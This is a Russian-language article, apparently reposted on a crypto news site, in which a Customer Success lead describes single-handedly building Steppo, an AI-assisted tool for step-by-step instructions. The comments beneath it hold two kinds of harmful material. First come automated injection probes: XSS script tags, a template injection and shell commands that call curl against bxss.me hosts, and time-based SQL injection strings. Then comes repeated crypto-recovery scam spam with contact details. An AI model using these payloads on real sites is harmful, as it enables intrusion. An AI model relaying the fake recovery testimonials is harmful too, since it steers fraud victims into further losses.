Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Как я в одиночку создал инструмент на основе ИИ, который меняет подход к он-бордингу клиентов

Единый источник правды

«А как настроить интеграцию?», «Где скачать последнюю версию?», «Скиньте инструкцию, пожалуйста»

Я возглавляю Customer Success и мы работаем бок-о-бок с Pre-Sale инженерами, поэтому эти и еще десятки подобных вопросов я видел в чатах сопровождения клиентов с момента их создания. Как только я пришел на эту позицию, в 2022 году, я сразу понял, что вопросы циклично повторяются от клиента к клиенту, при чем, связано это не только со сложностью продукта, но и с тем, что мы все привыкли получать готовую информацию.

В какой-то момент я подумал: «Почему мы не можем просто один раз четко описать решение и забыть про эти повторяющиеся вопросы навсегда?» Но было несколько нюансов:

  1. Как сделать инструкции настолько понятными, чтобы не было дополнительных вопросов?

  2. Как быстро создавать инструкции и также быстро их редактировать, особенно учитывая, что продукты постоянно обновляются?

  3. Как создать единый источник правды, чтобы избежать путаницы с версиями и устаревшими инструкциями?

Тогда я начал искать подходящий инструмент и быстро нашёл ScribeHow – инструмент, который закрывал сразу 3 боли. Но в 2024 году они ушли с рынка СНГ и теперь их сайт недоступен, а значит даже если и создать инструкции через VPN, весь смысл теряется, читатель не сможет их посмотреть просто кликнув на ссылку.

Именно поэтому я решил не ждать, пока кто-то сделает российский аналог, и взял разработку в свои руки. Так и появился Steppo – инструмент, который позволяет максимально быстро и просто создавать пошаговые инструкции с помощью искусственного интеллекта.

В этой статье я расскажу, как мне удалось автоматизировать создание инструкций, сократить нагрузку на команду и ускорить он-бординг клиентов – и всё это работая над проектом в одиночку.

Почему создание документации и онбординг клиентов — это постоянная боль для Customer Success и Rre-Sale команд

Каждый, кто работает в Customer Success, Pre‑Sale, в поддержке или в отделе внедрения прекрасно знает, что повторяющиеся вопросы клиентов — это неотъемлемая часть любого процесса внедрения или тестирования продукта. В своей практике я часто видел подобную картину:

  1. Клиенты каждый раз задают одни и те же вопросы в чатах сопровождения или на звонках. Это отнимает часы драгоценного времени у специалистов, которые по‑просту вынуждены пересказывать ежедневно одну и ту же информацию.

  2. Специалисты превращаются в «живые инструкции», вместо того чтобы больше времени уделять стратегическим задачам они тратят до 50% рабочего времени на консультации и на создание PDF и видео‑инструкций, которые устаревают за 2 недели (длина спринта).

В результате создается не масштабируемая система, которая в лучшем случае просто создает высокую нагрузку на специалистов сопровождения, а в худшем ведет к снижению лояльности клиентов из-за долгого ожидания ответа или несоответствия ожиданиям.

Ключевые проблемы традиционного подхода к созданию документации

Уже сейчас, смотря на всю ситуацию с демократизацией информации и подготовкой методических материалов, могу выделить 3 пункта, которые мешают наладить масштабируемый и эффективный процесс передачи знаний:

  1. IT продукты быстро развиваются. С ускорением темпов разработки — спасибо ИИ и agile-командам — обновление интерфейса происходит быстрее, чем успевают обновлять документацию. Пользователю нужна актуальная информация здесь и сейчас и если он получает не такую, то это ставит его в тупик и неминуемо ведет к снижению лояльности.

  2. Нет единого источника правды, инструкции раскиданы по разным папкам в облаке, по чатам в телеграме. Я не говорю уже про клиентов, сами специалисты, путаются где и какая инструкция лежит и какая из них актуальная. Ситуация усугубляется, когда команда сопровождения большая и инструкции делает не один человек. Растет риск передать клиенту неактуальную информацию, что спровоцирует дополнительные вопросы от клиента и стопроцентный «а как...?»

  3. Высокая трудоемкость создания и обновления. Чтобы создать инструкцию инженеры и специалисты поддержки делают массу скриншотов, добавляют текст, пояснения, аннотации на скриншоты. Когда продукт обновляется, всё нужно повторить или с середины или с самого начала. Это не просто трудоёмко, это демотивирует, обновление занимает от 40 минут на каждый релиз.

Как результат — в командах Customer Success и pre‑sale возникает замкнутый круг: чем больше клиентов, тем больше повторяющихся вопросов, тем больше нагрузка на команду и тем хуже качество поддержки.

На этом моменте понятно, что решением может стать только автоматизация и цифровизация, способная избавить команду от этой рутины и существенно улучшить клиентский опыт.

По данным Wyzowl, 86% клиентов остаются лояльны, если бренд инвестирует в качественный онбординг, 55% переходят к конкурентам, если не понимают продукт. При этом, по данным Gainsight Software, до 70 % churn можно предотвратить, решив трудности в первые недели — и становится очевидно, почему автоматизированные пошаговые инструкции критически важны уже на старте.

Почему я решил разрабатывать сам

Я ведь не разработчик, однако у меня всегда была тяга к изучению программирования, работы с данными, их визуальному представлению, дизайну интерфейсов и макетированию. Это всё я успешно применял на своей работе.

Добавим сюда то, что уже 13 лет я горю идеей создать что-то своё, пробовал открывать фирму по дизайну интерьеров, собственный инженерный подряд, последний, кстати хорошо работал до момента смены моей сферы деятельности.

Плюс актуальная проблема, с которой лично столкнулся, я понимаю, что нужно командам.

Итого, получаем хорошие вводные данные для собственного продукта – Steppo.

Сначала я вел разработку по вечерам, после работы и немного по выходным, однако, я понял, что если буду работать в таком темпе, то до MVP я доберусь только через год.

И так я решил, что буду разрабатывать по графику:

  • 3 часа утром, 2 часа вечером по будням;

  • 5,5-8 часов в субботу;

  • 3-6 часов в воскресенье;

  • Дополнительное время по усмотрению;

Итого в неделю выходит до 33 часов. Примерно как вторая работа.

Решение: что такое Steppo и как оно работает

Создавая решение, я четко понимал несколько вещей:

  1. Нужно общее рабочее пространство, с возможностью настройки доступов к инструкциям, чтобы обеспечить конфиденциальность и гибкость доступа к информации;

  2. Нужна запись с использованием ИИ для дешифровки данных, потому что на каждом сайте своя структура и не всегда кнопка в интерфейсе = кнопка в коде;

  3. Нужно совместное редактирование инструкций как в miro или figma, чтобы можно было командой редактировать большие инструкции;

  4. Нужен архив инструкций доступный на сайте откуда велась запись;

  5. Нужна возможность выгрузки инструкции как документа готового к печати и возможность встроить инструкцию на сайт или в базу знаний;

  6. Готовая инструкция должна быть максимально гибкой для настройки пользователя, чтобы соответствовать фирменному стилю.

Смысл решения в одном коротком видео

Сама платформа состоит из 2 составляющих:

  1. Веб-приложение, которое позволяет хранить инструкции, их быстро редактировать и настраивать доступ;

  2. Расширение для браузера, которое позволяет записывать и просматривать готовые инструкции.

На данный момент третья часть – десктопный инструмент для записи находится в разработке, там тоже есть свои особенности, которые хотелось бы учесть.

Веб-приложение

Веб приложение имеет два режима: отображение хранилища команды со структурой папок и возможностью переноса инструкций

Главный экран Steppo
Главный экран Steppo

Инструкции в хранилище представляют собой карточки со всей необходимой информацией: название инструкции, когда и кем была создана инструкция, какой она продолжительности, количество просмотров, текущий уровень доступа + иконка сайта, на котором велась запись инструкции. Всё это позволяет однозначно идентифицировать инструкцию и её актуальность.

Инструкции можно свободно переносить между папками, просто удерживая карточки и перенося в нужную целевую папку.

Слева в верхней части сайдбара, над хранилищем команды есть переключатель команд, я изначально закладывал логику, что пользователь может состоять в нескольких командах, чтобы была возможность мультикомандной работы, на случай если потребуется распределить участников или разделить хранилище.

В команды можно добавлять пользователей 3 ролей:

  1. Администратор – таких пригласить может только другой администратор. Администратор управляет командой и может например её переименовать при необходимости;

  2. Создатель – создаёт инструкции, редактирует их и управляет хранилищем команды;

  3. Читатель – может только просматривать хранилище команды и инструкции с уровнем доступа Командный доступ или Глобальный доступ.

Чтобы добавить пользователей к себе в команду, достаточно выбрать команду и нажать на кнопку Пригласить пользователей.

Далее нужно будет ввести почты и указать роли для пользователей.

Интерфейс добавления пользователей в Steppo
Интерфейс добавления пользователей в Steppo

Для редактирования инструкций предусмотрен специальный режим, который позволяет делать с инструкциями всё, что необходимо для детализации и описания процесса. При чём и тут добавлено несколько удобных решений:

  1. Можно дозаписать инструкцию прямо из её середины, это позволяет быстро обновлять те части, которые устарели;

  2. Новые скриншоты можно вставлять прямо из буфера обмена, не нужно их отдельно сохранять на компьютер;

  3. Можно добавлять предупреждения и уведомления – специальный тип шагов, который концентрирует внимание читателя;

  4. Инструкциям можно назначать теги, для более удобного поиска в хранилище;

Редактирование инструкции в Steppo
Редактирование инструкции в Steppo

Поделиться инструкцией можно буквально в несколько кликов, во первых это можно сделать из главного меню по нажатию правой кнопкой на саму инструкцию или изнутри инструкции с помощью кнопки Поделиться

Встроить инструкцию в Steppo
Встроить инструкцию в Steppo
Скачать инструкцию в Steppo
Скачать инструкцию в Steppo

Как видите, можно скачать инструкцию или использовать код для вставки её на сайт или в базу знаний с уже готовым оформлением.

Мобильный вид просмотра инструкции в Steppo
Мобильный вид просмотра инструкции в Steppo

Также инструкцией можно поделиться в виде ссылки, я постарался учесть, что готовые инструкции будут просматривать с телефона, поэтому просмотр инструкции оптимизирован под мобильные устройства.

При чём, в скриншотах инструкции встроена возможность масштабирования изображения относительно цели нажатия.

Кроме всего вышеперечисленного, инструкция доступна и в формате видео, с автоматической озвучкой всем знакомым Яндексом, при чем он работает значительно быстрее чем зарубежные аналоги, что круто, наши ребята умеют делать крутые вещи.

Есть и функции, которые понятны, я думаю, большинству, например редактирование скриншотов или их перенос и удаление, их показывать не буду.

Расширение для записи инструкций

Сама идея подразумевает, что расширение должно записывать базовые действия пользователя в интерфейсе, например клики, при чём они могут быть 4 типов: левый, средний, правый и двойной; ввод текста в поля форм, переход по ссылкам и конечно первый шаг.

Всё это нужно было уместить в несколько файлов с кодом, поэтому я постарался перенести часть труда на ИИ, а именно определение типа элемента под указателем мыши в момент клика.

Для соблюдения всех требований мне пришлось пройти десятки тестовых версий и несколько пилотных обкаток. В результате получилось готовое к работе расширение.

Расширение Steppo
Расширение Steppo

На скриншоте справа, в боковой панели открыто расширение, которое решает сразу несколько задач:

  1. Запись инструкций;

  2. Доступ пользователей к чтению инструкций.

Запись в расширении сопровождается визуальным отображением созданных шагов, в боковой панели, которую кстати в случае с небольшим экраном можно закрыть и открыть, когда автор завершит свой маршрут.

Весь процесс под капотом сопровождается обработкой данных сайта, на котором находится пользователь в данный момент, чтобы получались осмысленные шаги вида: «Нажмите на кнопку Отправить» или «Введите [email protected] в поле для Логина»

Пример записи инструкции в Steppo
Пример записи инструкции в Steppo

В процессе записи инструкции может потребоваться скрыть персональные данные, например, пароли, email, изображения или любую другую информацию, поэтому встроил возможность маскировки, долго ломал голову как назвать этот раздел, блюр, размытие, маскировка, скрыть данные и т.п. Пока что самым логичным вижу название просто Маскировка.

Маскировка конфиденциальных данных во время записи в Steppo
Маскировка конфиденциальных данных во время записи в Steppo

Просмотр созданных инструкций также возможен, что интересно, это можно сделать и без создания собственной базы знаний на стороннем сервисе, тут всё достаточно просто. Созданной инструкции нужно присвоить необходимый уровень доступа, например командный или глобальный и она будет отображаться в разделе Инструкции на текущем сайте

Коллекция инструкций команды для текущего сайта Steppo
Коллекция инструкций команды для текущего сайта Steppo
Просмотр инструкции в расширении Steppo
Просмотр инструкции в расширении Steppo

Боковую панель, к счастью, можно расширять так, чтобы было удобно просматривать инструкции в нужно масштабе. Список инструкций можно фильтровать по названию и добавленным тегам. Заметьте, это доступно для читателей сразу на сайте автора инструкций, это повышает доступность информации и ее релевантность.

Ценность для бизнеса

И так, пришло время обозначить на какие метрики влияет подобное решение, я понимаю, что на рынке полно западных решений подобного уровня или даже лучше, однако в моём случае я наблюдаю определенный положительный эффект:

  1. Сокращение Time-to-value, то есть пользователи быстрее могут дойти до ключевого функционала, какой бы сложный и тернистый не был путь. По словам коллег, инструкции реально легче найти, время поиска информации снизилось на 2/3;

  2. Повышение Retention, то есть пользователи скорее зайдут на ваш сайт для поиска информации в расширении;

  3. Кстати, интересно, что здесь можно публиковать и какие-то обновления продукта, например использовать это как Change-log или что-то подобное;

  4. Со стороны Customer Success могу однозначно сказать, это снижает количество обращений в поддержку, ведь информация стала ближе;

  5. Со стороны Pre-Sale команды, которая обычно создает инструкции для он-бординга клиентов: "Steppo это кардинально другой путь, теперь есть централизация инструкций", скорость создания инструкций выросла в некоторых случаях в 15 раз;

Хотя я совсем недавно опубликовал решение Steppo, на платформе уже сформировано 519 инструкций, всё это благодаря внутренней команде, знакомым и регистрациям пользователей за последнюю неделю.

Само веб-приложение получилось сделать масштабируемым за счет расположения на облачных серверах, а расширение запускается локально в браузере автора или читателя, поэтому не требует никаких серверных мощностей с моей стороны.

Заключение

Конечно, звучит круто: «разработал в одиночку», однако это было невероятно трудно, и продолжает быть таковым, потому что очень сложно соблюсти баланс между работой, бизнесом и личной жизнью.

Читал книгу Арнольда Шварценеггера «Вспомнить всё», в ней он делится своим становлением, как начинал, с какими трудностями сталкивался. Занимательно, что у него был свой бизнес еще до того как он стал известным. Делится тем, что работы было много, параллельно с этим он получал образование и еще делал физические упражнения, его единственный совет для тех кто в похожих ситуациях: «Спите быстрее».

Именно этому совету я и следовал, чтобы добиться максимальной продуктивности. Кстати, отмечу, что мне не понадобились никакие инструменты концентрации внимания, типа табата таймеров или любые другие психологические уловки, я просто встаю и делаю. Конечно, когда понимаешь, что, то что ты делаешь приносит пользу людям, появляется нереальная мотивация и жжение в груди.

Предлагаю и вам попробовать Steppo, к сожалению не могу выложить прямую ссылку, но при этом он первый в выдаче в поисковиках по запросу Steppo.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered 